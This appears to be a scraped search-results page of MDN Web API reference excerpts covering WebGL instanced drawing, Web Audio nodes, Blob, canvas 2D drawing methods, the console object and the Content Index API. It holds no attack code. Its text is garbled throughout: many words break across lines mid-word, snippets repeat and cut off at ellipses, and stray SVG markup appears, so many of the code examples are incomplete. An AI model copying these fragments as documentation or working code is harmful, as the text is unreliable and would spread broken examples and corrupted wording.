the angle_instanced_arrays.drawelementsinstancedangle() method of the webgl api renders primitives from array data like the gl.drawelements() method. in addition, it can execute mult
iple instances of a set of elements. note: when using webgl2, this method is available as gl.drawelementsinstanced() by default. syntax void ext.drawelementsinstancedangle(mode, count, type, offset, primcount); parameters mode a glenum specifying the type primitive to render. possible values are: gl.points: draws a single dot. gl.line_str
ip: draws a straight line to the next vertex. ...
... count a glsizei specifying the number of elements to be rendered. ...
... vertices. count a glsizei specifying the number of elements to be rendered. type a glenum specifying the type of the values in the element array buffer. possible values are: gl.unsigned_byte gl.unsigned_short when using the oes_element_index_uint extension: gl.unsigned_int offset a glintptr specifying an offset in the element array buffer. must be a valid mult
iple of the size of the given type. primcount a glsizei specifying the number of instances of the set of elements to execute. return value none. exceptions if mode is not one of the accepted values, a gl.invalid_enum error is thrown. if offset is a invalid mult
iple of the size of the given type, a gl.invalid_operation error is thrown. if count or primcount are negative, a gl.invalid_value...
ANGLE_instanced_arrays - Web APIs
webgl extensions are available using the webglrenderingcontext.getextension() method. for more information, see also using extensions in the webgl tutorial. availability: this extension is only available to webgl1 contexts. in webgl2, the functionality of this extension is available on the webgl2 context by default and the constants and methods are available without the "angle" suffix. ...
... one new constant, which can be used in the gl.getvertexattrib() method: ext.vertex_attrib_array_divisor_angle returns a glint describing the frequency divisor used for instanced rendering when used in the gl.getvertexattrib() as the pname parameter. methods this extension exposes three new methods. ext.drawarraysinstancedangle() behaves identically to gl.drawarrays() except that mult
iple instances of the range of elements are executed, and the instance advances for each iteration. ext.drawelementsinstancedangle() behaves identically to gl.drawelements() except that mult
iple instances of the set of elements are executed and the instance advances between each set. ext.vertexattribdivisorangle() modifies the rate at which generic vertex attributes advance when renderin...
...tances of the range of elements are executed, and the instance advances for each iteration. ext.drawelementsinstancedangle() behaves identically to gl.drawelements() except that mult
iple instances of the set of elements are executed and the instance advances between each set. ext.vertexattribdivisorangle() modifies the rate at which generic vertex attributes advance when rendering mult
iple instances of primitives with ext.drawarraysinstancedangle() and ext.drawelementsinstancedangle(). examples enabling the extension: var ext = gl.getextension('angle_instanced_arrays'); specifications specification status comment angle_instanced_arraysthe definition of 'angle_instanced_arrays' in that specification. recommendation initial definition. ...
AudioBuffer.getChannelData() - Web APIs
following example we create a two second buffer, fill it with white noise, and then play it via an audiobuffersourcenode. the comments should clearly explain what is going on. you can also run the code live, or view the source. ...
...o second buffer, fill it with white noise, and then play it via an audiobuffersourcenode. the comments should clearly explain what is going on. you can also run the code live, or view the source. ...
... white noise, and then play it via an audiobuffersourcenode. the comments should clearly explain what is going on. you can also run the code live, or view the source. ...
AudioNode.channelInterpretation - Web APIs
output.r = input.r output.c = 0 output.lfe = 0 output.sl = input.sl output.sr = input.sr 6 (5.1) 1 (mono) down-mix from 5.1 to mono. the left (l and sl), right (r and sr) and central channels are all mixed together. the surround channels are slightly attenuated and the regular lateral channels are power-compensated to make them count as a single channel by mult
iplying by ?2/2. the subwoofer (lfe) channel is lost. output.m = 0.7071 * (input.l + input.r) + input.c + 0.5 * (input.sl + input.sr) 6 (5.1) 2 (stereo) down-mix from 5.1 to stereo. the central channel (c) is summed with each lateral surround channel (sl or sr) and mixed to each lateral channel. as it is mixed down to two channels, it is mixed at a lower power: in each case it...
... ?2/2. the subwoofer (lfe) channel is lost. output.m = 0.7071 * (input.l + input.r) + input.c + 0.5 * (input.sl + input.sr) 6 (5.1) 2 (stereo) down-mix from 5.1 to stereo. the central channel (c) is summed with each lateral surround channel (sl or sr) and mixed to each lateral channel. ...
...the surround channels are passed unchanged. the subwoofer (lfe) channel is lost. output.l = input.l + 0.7071 * input.c output.r = input.r + 0.7071 * input.c output.sl = input.sl output.sr = input.sr other, non-standard layouts non-standard channel layouts are handled as if channelinterpretation is set to discrete. ...
AudioNode.connect() - Web APIs
destination the audionode or audioparam to which to connect. outputindex optional an index specifying which output of the current audionode to connect to the destination. the index numbers are defined according to the number of output channels (see audio channels). while you can only connect a given output to a given input once (repeated attempts are ignored), you can connect an output to mult
iple inputs by calling connect() repeatedly. this makes fan-out possible. the default value is 0. inputindex optional an index describing which input of the destination you want to connect the current audionode to; the default is 0. the index numbers are defined according to the number of input channels (see audio channels). it is possible to connect an audionode to another audionode, which in tur...
..., which in turn connects back to the first audionode, creating a cycle. this is allowed only if there is at least one delaynode in the cycle. otherwise, a notsupportederror exception is thrown. this parameter is not allowed if the destination is an audioparam. return value if the destination is a node, connect() returns a reference to the destination audionode object, allowing you to chain mult
iple connect() calls. in some browsers, older implementations of this interface return undefined. if the destination is an audioparam, connect() returns undefined. exceptions indexsizeerror the value specified as outputindex or inputindex doesn't correspond to an existing input or output. invalidaccesserror the destination node is not part of the same audio context as the source node. notsu...
...fan-in and fan-out are therefore supported. an audioparam will take the rendered audio data from any audionode output connected to it and convert it to mono by down-mixing (if it is not already mono). next, it will mix it together with any other such outputs, and the intrinsic parameter value (the value the audioparam would normally have without any audio connections), incl...
AudioNode - Web APIs
="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="196" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">audionode</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} note: an audionode can be target of events, therefore it implements the eventtarget interface. descr
iption the audio routing graph each audionode has inputs and outputs, and mult
iple audio nodes are connected to build a processing graph. this graph is contained in an audiocontext, and each audio node can only belong to one audio context. a source node has zero inputs but one or mult
iple outputs, and can be used to generate sound. on the other hand, a destination node has no outputs; instead, ...
...013, it was decided to add constructors because they have numerous benefits over factory methods. the constructors were added to the spec from august to october 2016. factory methods continue to be included in the spec and are not deprecated. properties audionode.context read only returns the associated baseaudiocontext, that is the object representing the processing graph the node is partic
ipating in. audionode.numberofinputs read only returns the number of inputs feeding the node. source nodes are defined as nodes having a numberofinputs property with a value of 0. audionode.numberofoutputs read only returns the number of outputs coming out of the node. destination nodes -- like audiodestinationnode -- have a value of 0 for this attribute. audionode.channelcount repr...
...ible values are "speakers" or "discrete". methods also implements methods from the interface eventtarget. audionode.connect() allows us to connect the output of this node to be input into another node, either as audio data or as the value of an audioparam. audionode.disconnect() allows us to disconnect the current node from another one it is already connected to. example this simple sn
ippet of code shows the creation of some audio nodes, and how the audionode properties and methods can be used. you can find examples of such usage on any of the examples linked to on the web audio api landing page (for example violent theremin.) const audioctx = new audiocontext(); const oscillator = new oscillatornode(audioctx); const gainnode = new gainnode(audioctx); oscillator.connect(gainn...
AudioParam.linearRampToValueAtTime() - Web APIs
is pretty useful for fade in/fade out effects, although audioparam.exponentialramptovalueattime() is often said to be a bit more natural. ...
... out effects, although audioparam.exponentialramptovalueattime() is often said to be a bit more natural. ...
...aram.exponentialramptovalueattime() is often said to be a bit more natural. ...
BaseAudioContext.createBufferSource() - Web APIs
example, we create a two second buffer, fill it with white noise, and then play it via an audiobuffersourcenode. the comments should clearly explain what is going on. note: you can also run the code live, or view the source. ...
...buffer, fill it with white noise, and then play it via an audiobuffersourcenode. the comments should clearly explain what is going on. note: you can also run the code live, or view the source. ...
...ise, and then play it via an audiobuffersourcenode. the comments should clearly explain what is going on. note: you can also run the code live, or view the source. ...
BiquadFilterNode.type - Web APIs
the type property of the biquadfilternode interface is a string (enum) value defining the kind of filtering algorithm the node is implementing. syntax var audioctx = new audiocontext(); var biquadfilter = audioctx.createbiquadfilter(); biquadfilter.type = 'lowpass'; value a string (enum) representing a biquadfiltertype. type values and their meaning type descr
iption frequency q gain lowpass standard second-order resonant lowpass filter with 12db/octave rolloff. frequencies below the cutoff pass through; frequencies above it are attenuated. the cutoff frequency. indicates how peaked the frequency is around the cutoff. the greater the value is, the greater is the peak. not used highpass standard second-order resonant highpass filte...
...a bandpass filter: frequencies outside the give range of frequencies pass through; frequencies inside it are attenuated. the center of the range of frequencies. controls the width of the frequency band. the greater the q value, the larger the frequency band. not used allpass standard second-order allpass filter. it lets all frequencies through, but changes the phase-relationsh
ip between the various frequencies. the frequency with the maximal group delay, that is, the frequency where the center of the phase transition occurs. controls how sharp the transition is at the medium frequency. the larger this parameter is, the sharper and larger the transition will be. not used example the following example shows basic usage of an audiocontext to create a biquad...
... working draft ...
BiquadFilterNode - Web APIs
node.gain read only is an a-rate audioparam, a double representing the gain used in the current filtering algorithm. biquadfilternode.type is a string value defining the kind of filtering algorithm the node is implementing. the meaning of the different parameters depending of the type of the filter (detune has the same meaning regardless, so isn't listed below) type descr
iption frequency q gain lowpass standard second-order resonant lowpass filter with 12db/octave rolloff. frequencies below the cutoff pass through; frequencies above it are attenuated. the cutoff frequency. indicates how peaked the frequency is around the cutoff. the greater the value is, the greater is the peak. not used highpass standard...
...ss filter: frequencies outside the give range of frequencies pass through; frequencies inside it are attenuated. the center of the range of frequencies. controls the width of the frequency band. the greater the q value, the smaller the frequency band. not used allpass standard second-order allpass filter. it lets all frequencies through, but changes the phase-relationsh
ip between the various frequencies. the frequency with the maximal group delay, that is, the frequency where the center of the phase transition occurs. controls how sharp the transition is at the medium frequency. the larger this parameter is, the sharper and larger the transition will be. not used methods inherits methods from its parent, audionode. biquadfilternode.get...
... working draft ...
Blob - Web APIs
the file interface is based on blob, inheriting blob functionality and expanding it to support files on the user's system. using blobs to construct a blob from other non-blob objects and data, use the blob() constructor. ...
...ontents of the blob interpreted as utf-8 text. examples creating a blob the blob() constructor can create blobs from other objects. for example, to construct a blob from a json string: const obj = {hello: 'world'}; const blob = new blob([json.stringify(obj, null, 2)], {type : 'application/json'}); creating a url representing the contents of a typed array the following code creates a javascr
ipt typed array and creates a new blob containing the typed array's data. it then calls url.createobjecturl() to convert the blob into a url. html <p>this example creates a typed array containing the ascii codes for the space character through the letter z, then converts it to an object url. a link to open that object url is created. click the link to see the decoded object url.</p> java...
...yped array and creates a new blob containing the typed array's data. it then calls url.createobjecturl() to convert the blob into a url. html <p>this example creates a typed array containing the ascii codes for the space character through the letter z, then converts it to an object url. a link to open that object url is created. click the link to see the decoded object url.</p> javascr
ipt the main piece of this code for example purposes is the typedarraytourl() function, which creates a blob from the given typed array and returns an object url for it. having converted the data into an object url, it can be used in a number of ways, including as the value of the <img> element's src attribute (assuming the data contains an image, of course). function typedarraytourl(typedarray, m...
CSSStyleSheet.insertRule() - Web APIs
terror. if more than one rule is given in the rule parameter, the method aborts with a syntaxerror. if trying to insert an @import at-rule after a style rule, the method aborts with a hierarchyrequesterror. if rule is @namespace and the rule-list has more than just @import at-rules and/or @namespace at-rules, the method aborts with an invalidstateerror. examples inserting a new rule this sn
ippet pushes a new rule onto the top of my stylesheet. mystyle.insertrule('#blanc { color: white }', 0); function to add a stylesheet rule /** * add a stylesheet rule to the document (it may be better practice * to dynamically change classes, so style information can be kept in * genuine stylesheets and avoid adding extra elements to the dom). * note that an array is needed for declarations ...
...nto the top of my stylesheet. mystyle.insertrule('#blanc { color: white }', 0); function to add a stylesheet rule /** * add a stylesheet rule to the document (it may be better practice * to dynamically change classes, so style information can be kept in * genuine stylesheets and avoid adding extra elements to the dom). * note that an array is needed for declarations and rules since ecmascr
ipt does * not guarantee a predictable object iteration order, and since css is * order-dependent. * @param {array} rules accepts an array of json-encoded declarations * @example addstylesheetrules([ ['h2', // also accepts a second argument as an array of arrays instead ['color', 'red'], ['background-color', 'green', true] // 'true' for !important rules ], ['.myclass', ['backgr...
...und! ...
Managing screen orientation - Web APIs
lightly different than device orientation. even if a device doesn't have the capacity to detect its own orientation, a screen always has one. and if a device is able to know its orientation, it's good to have the ability to control the screen orientation in order to preserve or adapt the interface of a web application. ...
...he interface of a web application. there are several ways to handle screen orientation, both with css and javascr
ipt. the first is the orientation media query. this lets content adjust its layout using css, based on whether the browser window is in landscape mode (that is, its width is greater than its height) or portrait mode (its height is greater than its width). the second way is the javascr
ipt screen orientation api that can be used to get the current orientation of the screen itself and eventually lock it. adjusting layout based on the orientation one of the most common cases for orientation changes is when you want to revise the layout of your content based on the orientation of the device. for example, perhaps you want a button bar to stretch along the longest dimension of the de...
...hanges is when you want to revise the layout of your content based on the orientation of the device. for example, perhaps you want a button bar to stretch along the longest dimension of the device's display. by using a media query, you can do this easily and automatically. let's have an example with the following html code <ul id="toolbar"> <li>a</li> <li>b</li> <li>c</li> </ul> <p>lorem
ipsum dolor sit amet, consectetur ad
ipiscing elit. duis lacinia nisi nec sem viverra vitae fringilla nulla ultricies. in ac est dolor, quis tincidunt leo. cras commodo quam non tortor consectetur eget rutrum dolor ultricies. ut interdum tristique dapibus. nullam quis malesuada est.</p> css relies on the orientation media query to handle specific styles based on the screen orientation /* first let...
CSS Typed Object Model API - Web APIs
the css typed object model api simplifies css property man
ipulation by exposing css values as typed javascr
ipt objects rather than strings. this not only simplifies css man
ipulation, but also lessens the negative impact on performance as compared to htmlelement.style. generally, css values can be read and written in javascr
ipt as strings, which can be slow and cumbersome. css typed object model api provides interfaces to interact with underlying values, by representing them with specialized js objects that can be man
ipulated and understood more easily and more reliably than string parsing and concatenation. this is easier for authors (for example, numeric values are reflected with actual js numbers, and have unit-aware mathematical operations defined for them). it is also generally faster,...
...act with underlying values, by representing them with specialized js objects that can be man
ipulated and understood more easily and more reliably than string parsing and concatenation. this is easier for authors (for example, numeric values are reflected with actual js numbers, and have unit-aware mathematical operations defined for them). it is also generally faster, as values can be directly man
ipulated and then cheaply translated back into underlying values without having to both build and parse strings of css. css typed om both allows for the performant man
ipulation of values assigned to css properties while enabling maintainable code that is both more understand and easier to write. interfaces cssstylevalue the cssstylevalue interface of the the css typed object model api is the bas...
...t css keywords and other identifiers. when used where a string is expected, it will return the value of csskeyword.value. cssnumericvalue an interface representing operations that all numeric values can perform, including: cssnumericvalue.add - adds supplied numbers to the cssnumericvalue. cssnumericvalue.sub - subtracts supplied numbers to the cssnumericvalue. cssnumericvalue.mul - mult
iplies supplied numbers to the cssnumericvalue. cssnumericvalue.div - divides a supplied number by other numbers, throwing an error if 0. cssnumericvalue.min - returns the minimum value passed cssnumericvalue.max - returns the maximum value passed cssnumericvalue.equals - returns true if all the values are the exact same type and value, in the same order. otherwise, false cssnumericvalue.t...
CanvasRenderingContext2D.createPattern() - Web APIs
an opaque object describing a pattern. examples creating a pattern from an image this example uses the createpattern() method to create a canvaspattern with a repeating source image. once created, the pattern is assigned to the canvas context's fill style and applied to a rectangle. ...
... canvaspattern with a repeating source image. once created, the pattern is assigned to the canvas context's fill style and applied to a rectangle. ...
...tyr
ipple.com/samples/04/aaeaf9aac4.png'; img.onload = function() { var pattern = ctx.createpattern(img, 'repeat'); ctx.fillstyle = pattern; ctx.fillrect(0, 0, 300, 300); }; creating a pattern from a canvas in this example we create a pattern from the contents of an offscreen canvas. we then apply it to the fill style of our primary canvas, and fill that canvas with the pattern. ...
CanvasRenderingContext2D.drawImage() - Web APIs
the specified source element isn't supported. ns_error_not_available the image is not loaded yet. use .complete === true and .onload to determine when it is ready. examples drawing an image to the canvas this example draws an image to the canvas using the drawimage() method. html <canvas id="canvas"></canvas> <div style="display:none;"> <img id="source" src="https://udn.realityr
ipple.com/samples/db/f374e9c6fc.jpg" width="300" height="227"> </div> javascr
ipt the source image is taken from the coordinates (33, 71), with a width of 104 and a height of 124. it is drawn to the canvas at (21, 20), where it is given a width of 87 and a height of 104. const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); const image = document.getelement...
...image and specify the optional size parameters in its constructor, you will have to use the naturalwidth and naturalheight properties of the created instance to properly calculate things like crop and scale regions, rather than element.width and element.height. the same goes for videowidth and videoheight if the element is a <video> element, and so on. ...
...ement is a <video> element, and so on. ...
CanvasRenderingContext2D.putImageData() - Web APIs
imagedata() method of the canvas 2d api paints data from the given imagedata object onto the canvas. if a dirty rectangle is provided, only the pixels from that rectangle are painted. this method is not affected by the canvas transformation matrix. note: image data can be retrieved from a canvas using the getimagedata() method. you can find more information about putimagedata() and general man
ipulation of canvas contents in the article pixel man
ipulation with canvas. syntax void ctx.putimagedata(imagedata, dx, dy); void ctx.putimagedata(imagedata, dx, dy, dirtyx, dirtyy, dirtywidth, dirtyheight); parameters imagedata an imagedata object containing the array of pixel values. dx horizontal position (x coordinate) at which to place the image data in the destination canvas. dy ve...
... height of the image data. errors thrown notsupportederror thrown if any of the arguments is infinite. invalidstateerror thrown if the imagedata object's data has been detached. examples understanding putimagedata to understand what this algorithm does under the hood, here is an implementation on top of canvasrenderingcontext2d.fillrect(). ...
... } } } // draw content onto the canvas ctx.fillrect(0, 0, 100, 100); // create an imagedata object from it var imagedata = ctx.getimagedata(0, 0, 100, 100); // use the putimagedata function that illustrates how putimagedata works putimagedata(ctx, imagedata, 150, 0, 50, 50, 25, 25); result data loss due to browser optimization due to the lossy nature of converting to and from premult
iplied alpha color values, pixels that have just been set using putimagedata() might be returned to an equivalent getimagedata() as different values. javascr
ipt const canvas = document.createelement("canvas"); canvas.width = 1; canvas.height = 1; const context = canvas.getcontext("2d"); const imgdata = context.getimagedata(0, 0, canvas.width, canvas.height); const pixels = imgdata.data; pixels[0 ...
CanvasRenderingContext2D.setTransform() - Web APIs
the canvasrenderingcontext2d.settransform() method of the canvas 2d api resets (overrides) the current transformation to the identity matrix, and then invokes a transformation described by the arguments of this method. this lets you scale, rotate, translate (move), and skew the context. note: see also the transform() method; instead of overriding the current transform matrix, it mult
iplies it with a given one. syntax ctx.settransform(a, b, c, d, e, f); ctx.settransform(matrix); the transformation matrix is described by: [acebdf001]\left[ \begin{array}{ccc} a & c & e \\ b & d & f \\ 0 & 0 & 1 \end{array} \right] parameters settransform() has two types of parameter that it can accept. the older type consists of several parameters representing the individual components of the transfor...
...type consists of a single parameter, matrix, representing a 2d transformation matrix to set (technically, a dommatrixinit object; any object will do as long as it contains the above components as properties). examples skewing a shape this example skews a rectangle both vertically (.2) and horizontally (.8). scaling and translation remain unchanged. html <canvas id="canvas"></canvas> javascr
ipt const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.settransform(1, .2, .8, 1, 0, 0); ctx.fillrect(0, 0, 100, 100); result retrieving and passing a dommatrix object in the following example, we have two <canvas> elements. we apply a transform to the first one's context using the first type of settransform() and draw a square on it, then retrieve the...
...w a square on it, then retrieve the matrix from it using canvasrenderingcontext2d.gettransform(). we then apply the retrieved matrix directly to the second canvas context by passing the dommatrix object directly to settransform() (i.e. the second type), and draw a circle on it. ...
CanvasRenderingContext2D.stroke() - Web APIs
e stroke is drawn using the non-zero winding rule, which means that path intersections will still get filled. syntax void ctx.stroke(); void ctx.stroke(path); parameters path a path2d path to stroke. examples a simple stroked rectangle this example creates a rectangle using the rect() method, and then draws it to the canvas using stroke(). html <canvas id="canvas"></canvas> javascr
ipt const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.rect(10, 10, 150, 100); ctx.stroke(); result re-stroking paths typically, you'll want to call beginpath() for each new thing you want to stroke. if you don't, the previous sub-paths will remain part of the current path, and get stroked every time you call the stroke() method. in some cases, however,...
...text('2d'); ctx.rect(10, 10, 150, 100); ctx.stroke(); result re-stroking paths typically, you'll want to call beginpath() for each new thing you want to stroke. if you don't, the previous sub-paths will remain part of the current path, and get stroked every time you call the stroke() method. in some cases, however, this may be the desired effect. html <canvas id="canvas"></canvas> javascr
ipt this code strokes the first path three times, the second path two times, and the third path only once. const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); // first sub-path ctx.linewidth = 26; ctx.strokestyle = 'orange'; ctx.moveto(20, 20); ctx.lineto(160, 20); ctx.stroke(); // second sub-path ctx.linewidth = 14; ctx.strokestyle = 'green'; ctx.moveto(20, 80...
...veto(20, 140); ctx.lineto(280, 140); ctx.stroke(); result stroking and filling if you want to both stroke and fill a path, the order in which you perform these actions will determine the result. in this example, the square on the left is drawn with the stroke on top of the fill. the square on the right is drawn with the fill on top of the stroke. ...
CanvasRenderingContext2D.textBaseline - Web APIs
deringcontext2d.textbaseline property of the canvas 2d api specifies the current text baseline used when drawing text. syntax ctx.textbaseline = "top" || "hanging" || "middle" || "alphabetic" || "ideographic" || "bottom"; options possible values: "top" the text baseline is the top of the em square. "hanging" the text baseline is the hanging baseline. ...
... and other indic scr
ipts.) "middle" the text baseline is the middle of the em square. "alphabetic" the text baseline is the normal alphabetic baseline. default value. "ideographic" the text baseline is the ideographic baseline; this is the bottom of the body of the characters, if the main body of characters protrudes beneath the alphabetic baseline. (used by chinese, japanese, and korean scr
ipts.) "bottom" the text baseline is the bottom of the bounding box. this differs from the ideographic baseline in that the ideographic baseline doesn't consider descenders. the default value is "alphabetic". examples comparison of property values this example demonstrates the various textbaseline property values. ...
...an scr
ipts.) "bottom" the text baseline is the bottom of the bounding box. this differs from the ideographic baseline in that the ideographic baseline doesn't consider descenders. the default value is "alphabetic". examples comparison of property values this example demonstrates the various textbaseline property values. ...
Compositing example - Web APIs
ooks like this: compositing example this code sets up the global values used by the rest of the program. ...
...ept where it doesn\'t overlap the new shape.', 'the existing canvas is only kept where it overlaps the new shape. the new shape is drawn behind the canvas content.', 'where both shapes overlap the color is determined by adding color values.', 'only the new shape is shown.', 'shapes are made transparent where both overlap and drawn normal everywhere else.', 'the pixels are of the top layer are mult
iplied with the corresponding pixel of the bottom layer. a darker picture is the result.', 'the pixels are inverted, mult
iplied, and inverted again. a lighter picture is the result (opposite of mult
iply)', 'a combination of mult
iply and screen. dark parts on the base layer become darker, and light parts become lighter.', 'retains the darkest pixels of both layers.', 'retains the lightest pixels of b...
...ult (opposite of mult
iply)', 'a combination of mult
iply and screen. dark parts on the base layer become darker, and light parts become lighter.', 'retains the darkest pixels of both layers.', 'retains the lightest pixels of both layers.', 'divides the bottom layer by the inverted top layer.', 'divides the inverted bottom layer by the top layer, and then inverts the result.', 'a combination of mult
iply and screen like overlay, but with top and bottom layer swapped.', 'a softer version of hard-light. pure black or white does not result in pure black or white.', 'subtracts the bottom layer from the top layer or the other way round to always get a positive value.', 'like difference, but with lower contrast.', 'preserves the luma and chroma of the bottom layer, while adopting the hue of the top l...
Drawing shapes with canvas - Web APIs
r and placing it on the next. moveto(x, y) moves the pen to the coordinates specified by x and y. when the canvas is initialized or beginpath() is called, you typically will want to use the moveto() function to place the starting point somewhere else. we could also use moveto() to draw unconnected paths. take a look at the smiley face below. to try this for yourself, you can use the code sn
ippet below. just paste it into the draw() function we saw earlier. <html> <body onload="draw();"> <canvas id="canvas" width="150" height="150"></canvas> </body> </html> function draw() { var canvas = document.getelementbyid('canvas'); if (canvas.getcontext) { var ctx = canvas.getcontext('2d'); ctx.beginpath(); ctx.arc(75, 75, 50, 0, math.pi * 2, true); // outer circle ...
...rameters define the start and end points of the arc in radians, along the curve of the circle. these are measured from the x axis. the anticlockwise parameter is a boolean value which, when true, draws the arc anticlockwise; otherwise, the arc is drawn clockwise. note: angles in the arc function are measured in radians, not degrees. to convert degrees to radians you can use the following javascr
ipt expression: radians = (math.pi/180)*degrees. the following example is a little more complex than the ones we've seen above. it draws 12 different arcs all with different angles and fills. the two for loops are for looping through the rows and columns of arcs. for each arc, we start a new path by calling beginpath(). in the code, each of the parameters for the arc is in a variable for clarity,...
...etty hard to draw complex shapes. in the following example, we'll be drawing some simple organic shapes, but if you have the time and, most of all, the patience, much more complex shapes can be created. there's nothing very difficult in these examples. in both cases we see a succession of curves being drawn which finally result in a complete shape. quadratic bezier curves this example uses mult
iple quadratic bezier curves to render a speech balloon. <html> <body onload="draw();"> <canvas id="canvas" width="150" height="150"></canvas> </body> </html> function draw() { var canvas = document.getelementbyid('canvas'); if (canvas.getcontext) { var ctx = canvas.getcontext('2d'); // quadratric curves example ctx.beginpath(); ctx.moveto(75, 25); ctx.quadraticcur...
Optimizing canvas - Web APIs
<< previousnext >> the <canvas> element is one of the most widely used tools for rendering 2d graphics on the web. however, when websites and apps push the canvas api to its limits, performance begins to suffer. this article provides suggestions for optimizing your use of the canvas element to ensure that your graphics perform well. performance t
ips the following is a collection of t
ips to improve canvas performance. pre-render similar primitives or repeating objects on an offscreen canvas if you find yourself repeating some of the same drawing operations on each animation frame, consider offloading them to an offscreen canvas. you can then render the offscreen image to your primary canvas as often as needed, without unnecessarily repeating the steps needed to generate...
...x.drawimage(myimage, 0.3, 0.5); this forces the browser to do extra calculations to create the anti-aliasing effect. to avoid this, make sure to round all co-ordinates used in calls to drawimage() using math.floor(), for example. don't scale images in drawimage cache various sizes of your images on an offscreen canvas when loading as opposed to constantly scaling them in drawimage(). use mult
iple layered canvases for complex scenes in your application, you may find that some objects need to move or change frequently, while others remain relatively static. a possible optimization in this situation is to layer your items using mult
iple <canvas> elements. for example, let's say you have a game with a ui on top, the gameplay action in the middle, and a static background on the bottom. in ...
...m top left stage.style.transform = 'scale(' + scaletofit + ')'; turn off transparency if your application uses canvas and doesn't need a transparent backdrop, set the alpha option to false when creating a drawing context with htmlcanvaselement.getcontext(). this information can be used internally by the browser to optimize rendering. var ctx = canvas.getcontext('2d', { alpha: false }); more t
ips batch canvas calls together. for example, draw a polyline instead of mult
iple separate lines. avoid unnecessary canvas state changes. render screen differences only, not the whole new state. avoid the shadowblur property whenever possible. avoid text rendering whenever possible. try different ways to clear the canvas (clearrect() vs. fillrect() vs. resizing the canvas). with animations,...
console.log() - Web APIs
the string representations of each of these objects are appended together in the order listed and output. ...
...the string representations of each of these objects are appended together in the order listed and output. ...
...hese objects are appended together in the order listed and output. please be warned that if you log objects in the latest versions of chrome and firefox what you get logged on the console is a reference to the object, which is not necessarily the 'value' of the object at the moment in time you call console.log(), but it is the value of the object at the moment you open the console. msg a javascr
ipt string containing zero or more substitution strings. subst1 ... substn javascr
ipt objects with which to replace substitution strings within msg. this gives you additional control over the format of the output. see outputting text to the console in the documentation of console for details. difference between log() and dir() you might ask yourself what's the difference between console.dir() ...
console - Web APIs
f the first argument is false. console.clear() clear the console. console.count() log the number of times this line has been called with the given label. console.countreset() resets the value of the counter with the given label. console.debug() outputs a message to the console with the log level debug. console.dir() displays an interactive listing of the properties of a specified javascr
ipt object. this listing lets you use disclosure triangles to examine the contents of child objects. console.dirxml() displays an xml/html element representation of the specified object if possible or the javascr
ipt object view if it is not possible. console.error() outputs an error message. you may use string substitution and additional arguments with this method. console.exception() an a...
...nsole, or you can pass in a string containing zero or more substitution strings followed by a list of objects to replace them. outputting a single object the simplest way to use the logging methods is to output a single object: var someobject = { str: "some text", id: 5 }; console.log(someobject); the output looks something like this: [09:27:13.475] ({str:"some text", id:5}) outputting mult
iple objects you can also output mult
iple objects by simply listing them when calling the logging method, like this: var car = "dodge charger"; var someobject = { str: "some text", id: 5 }; console.info("my first car was a", car, ". the object is:", someobject); this output will look like this: [09:28:22.711] my first car was a dodge charger . the object is: ({str:"some text", id:5}) using str...
... console.info("my first car was a", car, ". the object is:", someobject); this output will look like this: [09:28:22.711] my first car was a dodge charger . the object is: ({str:"some text", id:5}) using string substitutions when passing a string to one of the console object's methods that accepts a string (such as log()), you may use these substitution strings: %o or %o outputs a javascr
ipt object. clicking the object name opens more information about it in the inspector. %d or %i outputs an integer. number formatting is supported, for example console.log("foo %.2d", 1.1) will output the number as two significant figures with a leading 0: foo 01 %s outputs a string. %f outputs a floating-point value. formatting is supported, for example console.log("foo %.2f", 1.1) will out...
ConstantSourceNode - Web APIs
de interface--part of the web audio api--represents an audio source (based upon audioscheduledsourcenode) whose output is single unchanging value. this makes it useful for cases in which you need a constant value coming in from an audio source. in addition, it can be used like a constructible audioparam by automating the value of its offset or by connecting another node to it; see controlling mult
iple parameters with constantsourcenode. a constantsourcenode has no inputs and exactly one monaural (one-channel) output. the output's value is always the same as the value of the offset parameter. number of inputs 0 number of outputs 1 constructor constantsourcenode() creates and returns a new constantsourcenode instance, optionally specifying an object which e...
...er the constantsourcenode data has stopped playing. methods inherits methods from its parent interface, audioscheduledsourcenode. some browsers' implementations of these methods are part of the audioscheduledsourcenode interface. start() schedules a sound to playback at an exact time. stop() schedules a sound to stop playback at an exact time. example in the article controlling mult
iple parameters with constantsourcenode, a constantsourcenode is created to allow one slider control to change the gain on two gainnodes. the three nodes are set up like this: gainnode2 = context.creategain(); gainnode3 = context.creategain(); gainnode2.gain.value = gainnode3.gain.value = 0.5; volumeslidercontrol.value = gainnode2.gain.value; constantnode = context.createconstantsource(); constant...
...ode. after starting the constant source by calling its start() method. finally, the two gain nodes are connected to the audio destination (typically speakers or headphones). now, whenever the value of constantnode.offset changes, the gain on both gainnode2 and gainnode3 will change to have that same value. to see this example in action, as well as to read the rest of the code from which these sn
ippets were derived, see controlling mult
iple parameters with constantsourcenode. specification specification status comment web audio apithe definition of 'constantsourcenode' in that specification. working draft ...
ContentIndex - Web APIs
index' in registration) { // content index api functionality const contentindex = registration.index; } adding to the content index here we're declaring an item in the correct format and creating an asynchronous function which uses the add() method to register it with the content index. ...
...ion) { // content index api functionality const contentindex = registration.index; } adding to the content index here we're declaring an item in the correct format and creating an asynchronous function which uses the add() method to register it with the content index. ...
...rence registration const registration = await navigator.serviceworker.ready; // feature detect content index if (!registration.index) return; // unregister content from index await registration.index.delete(article.id); } all the above methods are available within the scope of the service worker. they are accessible from the workerglobalscope.self property: // service worker scr
ipt self.registration.index.add(item); self.registration.index.delete(item.id); const contentindexitems = self.registration.index.getall(); specifications specification status comment unknownthe definition of 'contentindex' in that specification. unknown initial definition. ...
Content Index API - Web APIs
index' in registration) { // content index api functionality const contentindex = registration.index; } adding to the content index here we're declaring an item in the correct format and creating an asynchronous function which uses the add() method to register it with the content index. ...
...ion) { // content index api functionality const contentindex = registration.index; } adding to the content index here we're declaring an item in the correct format and creating an asynchronous function which uses the add() method to register it with the content index. ...
